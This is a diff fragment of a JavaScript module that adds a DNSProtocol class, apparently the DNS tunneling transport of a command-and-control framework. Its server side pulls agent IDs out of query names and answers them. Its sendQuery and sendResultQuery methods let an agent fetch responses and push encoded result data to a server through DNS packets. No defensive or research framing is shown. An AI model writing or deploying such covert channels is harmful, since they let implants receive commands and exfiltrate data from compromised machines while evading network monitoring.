+ class DNSProtocol {
214
+ constructor(port, mode = 'server') {
215
+ this.port = port;
216
+ this.mode = mode;
217
+ this.socket = null;
218
+ this.handlers = [];
219
+ }
220
+
221
+ start(callback) {
222
+ this.socket = dgram.createSocket({ type: 'udp4' });
223
+ this.socket.on('message', (msg, rinfo) => {
224
+ const parsed = parseDNSQuery(msg, rinfo);
225
+ if (!parsed) return;
226
+ const agentId = extractAgentIdFromQuery(parsed.qname);
227
+ for (const handler of this.handlers) {
228
+ handler(parsed, agentId, msg);
229
+ }
230
+ });
231
+ this.socket.on('error', (err) => {
232
+ if (callback) callback(err);
233
+ });
234
+ this.socket.bind(this.port, () => {
235
+ if (callback) callback(null);
236
+ });
237
+ }
238
+
239
+ onQuery(handler) {
240
+ this.handlers.push(handler);
241
+ }
242
+
243
+ sendResponse(queryMsg, rinfo, answers) {
244
+ const response = buildDNSResponse(queryMsg, answers);
245
+ this.socket.send(response, 0, response.length, rinfo.port, rinfo.address);
246
+ }
247
+
248
+ sendQuery(agentId, serverAddr, serverPort, callback) {
249
+ const { id, packet } = buildDNSQuery(agentId);
250
+ const timeout = setTimeout(() => {
251
+ if (callback) callback(new Error('DNS query timeout'), []);
252
+ }, 5000);
253
+
254
+ this.socket.once('message', (msg) => {
255
+ clearTimeout(timeout);
256
+ const answers = parseDNSResponse(msg, id);
257
+ if (callback) callback(null, answers);
258
+ });
259
+
260
+ this.socket.send(packet, 0, packet.length, serverPort, serverAddr);
261
+ }
262
+
263
+ sendResultQuery(agentId, encodedData, serverAddr, serverPort) {
264
+ const { packet } = buildDNSQuery(agentId, 'r', encodedData);
265
+ this.socket.send(packet, 0, packet.length, serverPort, serverAddr);
266
+ }
267
+
268
+ stop() {
269
+ if (this.socket) {
270
+ try { this.socket.close(); } catch (e) {}
271
+ }
272
+ }
273
+ }
274
+
275
+ module.exports = { DNSProtocol, extractAgentIdFromQuery, extractQueryType, extractResultFromQuery };